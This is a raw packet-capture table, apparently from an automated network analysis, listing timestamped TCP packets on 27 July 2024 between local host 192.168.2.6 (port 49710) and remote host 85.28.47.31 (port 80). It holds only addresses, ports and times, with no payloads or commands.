Jul 27, 2024 03:19:14.451488972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.451555014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.451600075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.451632023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.451664925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.451675892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.451675892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.451700926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.451741934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.451741934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.456933975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.456964016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.456999063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.457012892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.457012892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.457035065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.457071066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.457079887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.457079887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.457127094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.457127094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.457165003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.457191944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.457210064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.457222939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.457257032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.457307100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.457307100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.457308054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.457345009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.457393885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.457393885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.457396030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.457447052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.457480907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.457493067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.457493067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.457525969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.457532883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.457664013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.458235025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.458266973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.458300114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.458313942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.458313942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.458367109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.458400011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.458434105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.458467960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.458481073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.458481073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.458503008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.458537102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.458549023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.458549023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.458718061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459013939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459048033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459079027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459091902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459091902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459112883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459146976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459171057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459171057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459180117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459218979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459224939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459224939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459270954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459321022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459321022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459804058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459816933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459834099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459852934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459861994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459877014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459877014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459892988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459904909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459914923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459914923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459925890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459953070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459964037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459964037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.459969044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459985971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.459991932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.460002899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.460020065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.460031986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.460031986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.460036993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.460053921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.460061073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.460061073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.460081100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.460092068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.460092068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.460124969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.469356060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.469379902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.469402075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.469424963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.469434977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.469434977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.469434977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.469439030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.469455957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.469472885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.469474077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.469485998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.469506025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.469532013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.470015049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.470047951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.470086098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.470086098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.470097065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.470129967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.470168114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.470175982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.470175982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.470201015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.470221043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.470246077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.470246077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.470293045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.471398115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.471430063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.471470118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.471470118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.471479893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.471529007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.471549988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.471568108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.471568108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.471610069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.471620083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.471652031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.471683979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.471698046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.471698046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.471745014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.471779108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.471788883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.471788883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.471812963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.471844912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.471858025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.471858025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.471879005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.471903086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.471906900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.471924067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.471939087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.471981049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.471981049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.472248077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.472321987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.472331047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.472354889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.472390890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.472402096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.472435951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.472441912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.472441912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.472470045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.472485065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.472517967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.472522020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.472552061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.472559929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.472596884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.472713947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.472763062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.472795963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.472805977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.472805977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.472829103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.472846985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.472862959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.472894907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.472906113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.472906113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.472927094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.472969055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.472969055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.473778963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.473830938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.473881006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.473881006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.473889112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.473922968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.473933935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.473956108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.473989964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.474004030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.474004030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.474024057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.474065065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.474065065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.474566936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.474668980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.474675894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.474699974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.474741936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.474741936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.474749088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.474792004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.474798918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.474833012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.474862099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.474864960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.474881887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.474898100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.474940062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.474940062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.579720020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579746962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579762936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579777956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579792023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579806089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579818964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579828978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.579828978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.579835892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579850912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579864979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.579865932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579864979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.579885006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579893112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.579902887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579917908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579931974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579933882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.579933882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.579947948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579951048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.579968929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.579976082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.579976082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.579986095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580001116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580013990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580013990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580014944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580030918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580044985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580044985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580046892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580061913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580061913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580080032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580095053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580095053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580127954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580127954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580164909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580179930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580197096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580213070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580223083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580223083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580235004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580312014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580327034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580329895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580346107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580362082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580362082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580369949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580384970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580390930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580401897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580418110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580426931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580426931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580434084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580445051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580451012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580456018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580466032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580495119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580495119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580497980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580524921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580534935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580545902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580550909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580595970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580595970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580599070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580617905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580656052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580656052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580666065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580682993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580698967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580713987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580718994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580718994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580729008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580733061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580745935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580760002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580773115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580773115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580775023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580787897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580790997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580806971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580821991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580823898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580823898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580837965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580838919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.580872059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580872059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.580887079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.581044912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.581070900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.581085920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.581114054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.581114054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.581132889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.581182003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.581204891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.581221104 CEST	80	49710	85.28.47.31	192.168.2.6
